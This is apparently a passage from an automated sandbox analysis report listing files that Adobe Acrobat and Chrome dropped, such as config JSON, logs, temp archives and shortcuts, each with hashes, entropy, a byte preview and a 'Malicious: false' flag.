C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.272991150875726
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbQ29cYN7jx6mJ0YucKoAvJfshHHrPeUkwRe9:YvXKXbQ29cS7jx6mhGUUUkee9
MD5:	D1CC2CE228D7D49E1DF448C120D2998A
SHA1:	273E48B6750B1F525E917CA30AEACEB850137084
SHA-256:	21C807DDB56E49DEE5CA747D461329A90157B6EA876C42F9ED08C0C1AE4648D8
SHA-512:	50F9E49CD706B4C3C1F6F2497F7144C8579276B835C9AE295EA2CAD5353FEDDCAF26E7BA5648EF64A3726A0A815D5DC17B6F25AE2573321AC55A4F6F5C4B2272
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.369418682954528
Encrypted:	false
SSDEEP:	12:YvXKXbQ29cS7jx6mhGTq16Ukee1+3CEJ1KXd15kcyKMQo7P70c0WM6ZB/uhWeRYY:Yv6XD7d6g168CgEXX5kcIfANhOY
MD5:	DBF165E182E552319A597925CDEF2044
SHA1:	0DADC36B851DEF56EDCD1507C4A90AAE5140B90D
SHA-256:	0D1CD229E3518972581D7DF54E5677D7B7F0AE032D76982D45B655B191455DED
SHA-512:	B7AA9056E856A3816FCE95BCD4EF69A92D0685FF5B0379EF16C6F3897B4FF9593C3B7374AE362E3A127078F7ECAB298C8350C092C18DE977DBB5D1FA47A44012
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d959b09-5e99-43f3-8295-8726e0c1a170","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1714341519483,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1714162659520}}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.151265346170232
Encrypted:	false
SSDEEP:	24:Y1GYJ1XXcE3CK48DT0WkwbzUadiay9dv6yv8jhj0S4tDACo2CSm/2LSy2v0r5a1Y:YIOdXN7Dwfo4h2lOULBSm/QS0rIX9MI8
MD5:	4E4E76539A34A34EC3276968AFFF53D0
SHA1:	132757348C8030F7E2C7DD2565E368ADFCC24A00
SHA-256:	379DF341299900EF0F42BF1406E769CFE09CA0A36E6648E9F641D07A6C98FC33
SHA-512:	6A002B9BF7A7F3C674CF16964F0FD8519EB91EE833713AED7D12D3A3CD3A7BF8592C9CFC3588E1E2CF81CC73CC1E157FF4A43893C6642C120A3497E5F4423995
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"8d8d872609f3e37174fc6e8e9a18b2be","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1714162658000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"942f3536e57208d09840ca6d7552b43f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1372,"ts":1714162658000},{"id":"Edit_InApp_Aug2020","info":{"dg":"1cb9a40c32d8c24f1e849f06e2c39e02","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":1714162658000},{"id":"DC_Reader_RHP_Banner","info":{"dg":"f458b224f421cfc298972a72b9415f2a","sid":"DC_Reader_RHP_Banner"},"mimeType":"file","size":1395,"ts":1714162658000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f32881e6b34ff697135493a952443279","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1714162658000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3c1265b3e263f1a29713cca443e402b8","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1714162658000},

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 23, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 23
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3558684680849793
Encrypted:	false
SSDEEP:	48:TVl2GL7msncRVbjVpOV6cV6+VZeVZvVZCVZW/Vk/Vhjv2ubCs22LYr5BvP4H:vVmssZnrFRNtQH
MD5:	BE99D1E6CF04679A2DAC49779EDF6329
SHA1:	FE086BC1087A25587383A9EC4C927B1F8B19E6BA
SHA-256:	6607FA8C8F0217BB7EC877F9B6876F40AD979ACF6CA8AE1D922A75E41F587D92
SHA-512:	527D2D04653173B35647C830E259EFD10B9C3C8AB8F229B915850F103D6755D010134D1707D85F7EAD6BBEEC847FBDFF642E27787C3C006E88184DEBC87F5303
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8310307929755334
Encrypted:	false
SSDEEP:	48:7MMWcRVbjVpOV6cV6+VZeVZvVZCVZW/Vk/Vhjv2ubCs22LYqBvPxckWqll2GL7mB:7xZnrFRqtHWqVmsM
MD5:	9B18153EB90C916A5045E40AB3573916
SHA1:	1E79642D9E582F6315FBAF1B932810C54637C1BF
SHA-256:	F5207688C76E01F2DA9299E9247657629C75C7E56C08A5B4AF72B672D9939C65
SHA-512:	AFF285F65EF0FAA93F8462DF4C05CBCF9C2B3D6189EBFCFE1CF76B4FDCDCCE58CDFCCE94C72946E06C58A3C50F2F6DF71B38FC769613DD6E058B391719DE41D1
Malicious:	false
Preview:	.... .c..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././.-.-.-.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI3eed1.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5004142083842487
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8mdWIl9nH:Qw946cPbiOxDlbYnuRKvR9H
MD5:	DFEA0CFCED7EF1244DF9528D87CC80A8
SHA1:	8238344573CFAE8BA2DCFD803D13803A14BB6975
SHA-256:	5A8BEE3171057B8FF4BC1BB9D2D595BDB173DEDF32CF6A8ED56880DCDFC9F76D
SHA-512:	C28C8BE3AD55EFB44A183A24A00A16C33D7CA3497B38BC51C23E000582636CF26FC428930034BD30E1F63BE764C9A2288E04DF12F92B975CF247CC2885AF3791
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .2.6./.0.4./.2.0.2.4. . .2.2.:.1.7.:.4.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-04-26 22-17-34-896.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.359827924713262
Encrypted:	false
SSDEEP:	384:yNDmLJAZYTtvEcrd/GVMimVRMTzpCeb9sJVPbvHktuFKr4Bnk2DfNSNq8iwyhZ9u:bAPaRH9E3/
MD5:	06DEAEDB81D09FD8FB5FF668D8E09CB2
SHA1:	28A02BCBD5975117B97A08AFB049F2C94F334726
SHA-256:	D98DE785425112A2D7A41B16073812FA4FA4955F2D5139AE87C9A5FBC4717D64
SHA-512:	948E3B56E5A8D818A5FE9D74B82A898F7264909ADF2C49E5D096CB90F4D28ED95990545A4857933F0E06D493AA0F6D41F6109C74B44BC0E4B84346B519681936
Malicious:	false
Preview:	SessionID=c98ebd97-9477-4d7e-bd0c-12efa5f01bab.1696586972755 Timestamp=2023-10-06T12:09:32:755+0200 ThreadID=6536 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=c98ebd97-9477-4d7e-bd0c-12efa5f01bab.1696586972755 Timestamp=2023-10-06T12:09:32:756+0200 ThreadID=6536 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=c98ebd97-9477-4d7e-bd0c-12efa5f01bab.1696586972755 Timestamp=2023-10-06T12:09:32:756+0200 ThreadID=6536 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=c98ebd97-9477-4d7e-bd0c-12efa5f01bab.1696586972755 Timestamp=2023-10-06T12:09:32:756+0200 ThreadID=6536 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=c98ebd97-9477-4d7e-bd0c-12efa5f01bab.1696586972755 Timestamp=2023-10-06T12:09:32:756+0200 ThreadID=6536 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15100
Entropy (8bit):	5.356843377788268
Encrypted:	false
SSDEEP:	384:dvIwqwTwiw4wp9I9B969w9x9XqYqVnqpqCcLD/WpWVt+tStrtstlU1ZIpIT2NBsT:EA3G
MD5:	10E9281F83C8B600AAD623358E65525C
SHA1:	57EA15BC1EA7BD3E480A5F6098A3ED1D1E2A35DC
SHA-256:	B9A00BFB4889C617892C4CD4EA91F68858A7A61BAB981ECA09B13B011B2094FD
SHA-512:	E4AC1AD2CB17518A42DFBC59C337ADC25EB26C152CB7019F09303649BE4E35117E564E9D3B4CA0F7788EED9BCE90858659B7C6D11650528DA8D01294E1B627ED
Malicious:	false
Preview:	SessionID=2b8314ac-0b7c-4255-9e61-162332a209a9.1714162654908 Timestamp=2024-04-26T22:17:34:908+0200 ThreadID=1276 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2b8314ac-0b7c-4255-9e61-162332a209a9.1714162654908 Timestamp=2024-04-26T22:17:34:910+0200 ThreadID=1276 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2b8314ac-0b7c-4255-9e61-162332a209a9.1714162654908 Timestamp=2024-04-26T22:17:34:910+0200 ThreadID=1276 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2b8314ac-0b7c-4255-9e61-162332a209a9.1714162654908 Timestamp=2024-04-26T22:17:34:910+0200 ThreadID=1276 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2b8314ac-0b7c-4255-9e61-162332a209a9.1714162654908 Timestamp=2024-04-26T22:17:34:910+0200 ThreadID=1276 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.423445424246613
Encrypted:	false
SSDEEP:	192:fcbmI6ccb9cb+IqccbdcbIIl3cbXcbWIS+cb4cbIIJzcbdcbuID9cbh:g6sqGlVS/J7DS
MD5:	3EDF54B18D6206B85E52C6867755C5C6
SHA1:	DA66F4482F461F1F5FB4F7FC7684908BD7B12AF0
SHA-256:	23BD873EBE8032078A90F2AA651CBBD317C2A8899D17CB089ACC9B166CD47B4E
SHA-512:	71C6AFB21018C1A8E15C25A236C4DAEC643B9CC068416E7BDC6C9549085565F444EE3E0A7BBF210BDD966E60C6546C56D966C5DAFBF96C4EA18B0D630A438DE7
Malicious:	false
Preview:	06-10-2023 11:44:59:.---2---..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : *************************************..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : ***********************************..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : Starting NGL..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..06-10-2023 11:44:59:.Closing File..06-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4adc6533-3eb7-45bf-8260-c22c075a72e2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:GqA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:5VB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A9C99A0DD153B23D2C4DC943CC1567B4
SHA1:	B7B59DEEA23EDB8F8868D28D6BD67B20B21AFC58
SHA-256:	2BAC328B0024285F5D0CC1407253D2C82EF65770FE5538FDB5863E05837D96D9
SHA-512:	27873463B8DEB439C9550A0BD0FF2E4E46B2B3B485839BA25FFB17825A13D43C35C8BDD93A3239D9FAC408FB69EC15CA7D458A4A3D9DAFB29E7622BEBFC8CDA0
Malicious:	false
Preview:	...........}.s.H....W`E.........M9h...q..p......%..!q.p....~..2......DlWtW!)?_.\|....?..?.s.w1.i..G...h6.]..y...p..m.b..N..rr..F..Xc...l.4.."..Q.... hL.p......s...x6..:.....x.~.6.Q..~......~b7..k.l......Yc.G[....hY3...C..n..\|.'6......i4f...,.."...O.b...x..,..jgc..bTn....,u.F..0......V.K,u..p....X.wAap...+.G..v....i.z...E.Rj8.a.r..<@.q.'...!.4..]...\|..3...-.2...`...4..i...w......$0D.....i./a......Z.]..e.mj..c}.?.....o......c...W..+....c...W...?8...n.......U..7..O........@....'...^.z..=.m....o.o<..~....... ...C{......w.m.h.-Q...6.(..uk/w!...Z..n.....p.U........T^w..[....1l...../i......0..1U\|}../xS}.q..B\|.......h>....S....g...A.s6.=.&....~.\.......-N.p...._.xex.....}.r..q$..<.S;l=. ..P..55;....[.}.T......d.p..vd'vl.].DN..o...................D...].......I}.t...D`?..n.A.zT..:@.`S5.K..,R....h...XzT....F..Xt...R...+N.....ee...P...F+C.....dq...r..5..aP.zY....c.f/..Pn...:f.>.Z..s.+.......7...O.C.#..6.....=.K.5{.%6,..Z.....DqZ.4....g-%.p..n...\

C:\Users\user\AppData\Local\Temp\acrocef_low\5422d204-6a77-49e6-9d23-d695592ff518.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\6e305fda-988e-4690-a300-abb1da93725c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9UI:O3Pjegf121YS8lkipdjMMNB1DofjgJJk
MD5:	91BB1BDDBFEB3DE05BBF8C096F6D6F4C
SHA1:	727CEBB36C9825B03B21A966500FADF2EA8EE450
SHA-256:	87CF49769653DAC0CF5971AAF4964F20E5E4D04AF2BBC6276E2B66EB2F0B6EEA
SHA-512:	9C06EA7EE4DBEC43013C333852460FC70F90CF6D25B40C8280587164627DFDBE3BE7D1184B93B00A5F2F16E65472FA58ECE8633EA03AB5B1441C093288B7ADAF
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8a261583-5ac7-41fe-a3ff-3a2535e87da2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 160932
Category:	dropped
Size (bytes):	543911
Entropy (8bit):	7.977303608379539
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121D1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9UZ+bvHs:O3Pjegf121DMNB1DofjgJJJJm94+g
MD5:	5B21A6981E55EF9576D169BBED44BCDB
SHA1:	B3A14100B7E7C2C01D61B010A54937952D111E20
SHA-256:	9555E661370D1DC26605DAE88BDBC1ABA68038C769BF6E354A256B1A1C4C110E
SHA-512:	FCA72A5131D8780A17DF65BBFF37FBA88DBEA3B7AE991C3D893B21B9E6C1EED44DC12945C8DA39DE471FAC5013BE71D43E5BBB892994742BC33EF5934469B1B1
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a7b402cf-c062-4cd2-9fbd-4644c848e093.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oXGZGwYIGNPJwdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxXGZGwZGM3mlind9i4ufFXpAXkru
MD5:	0A347312E361322436D1AF1D5145D2AB
SHA1:	1D6C06A274705F8A295F62AD90CF8CA27555C226
SHA-256:	094501B3CA4E93F626ABFCAE800645C533B61409DC3D1D233F4D053CE6A124D7
SHA-512:	9856C231513B47DD996488DF19EEE44DBB320E55432984C0C041EF568B6EC5C05F5340831132890D1D162E0505CA243D579582EDB9157CF722A86EC8CE2FEAFE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 19:18:14 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9911082568862204
Encrypted:	false
SSDEEP:	48:8oIdNT4N7rLHPidAKZdA1JehwiZUklqehgy+3:8ou0Z53y
MD5:	E69BA919B8EA3FF7BB91D27A1DCBDC4A
SHA1:	5D6739828049D1DC00DC8FA1346B043CE410BB37
SHA-256:	86B32960DB50CCB40F22911F4B20481D955EF357EA0A825F8A6DF0A626C923A5
SHA-512:	3F4D611892A3FD19177BFEFE69E33D0EA2637B8ADB5E8E0D93FCA1BF939D6AC6B818D38137C9A3B52D7D6AD34CD8447AF92C5C3A731E65582812FA3930FA82F0
Malicious:	false
Preview:	L..................F.@.. ...$+.,......`.........y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XF.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XF.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XF............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.XH............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............@......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 19:18:14 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.00666036518401
Encrypted:	false
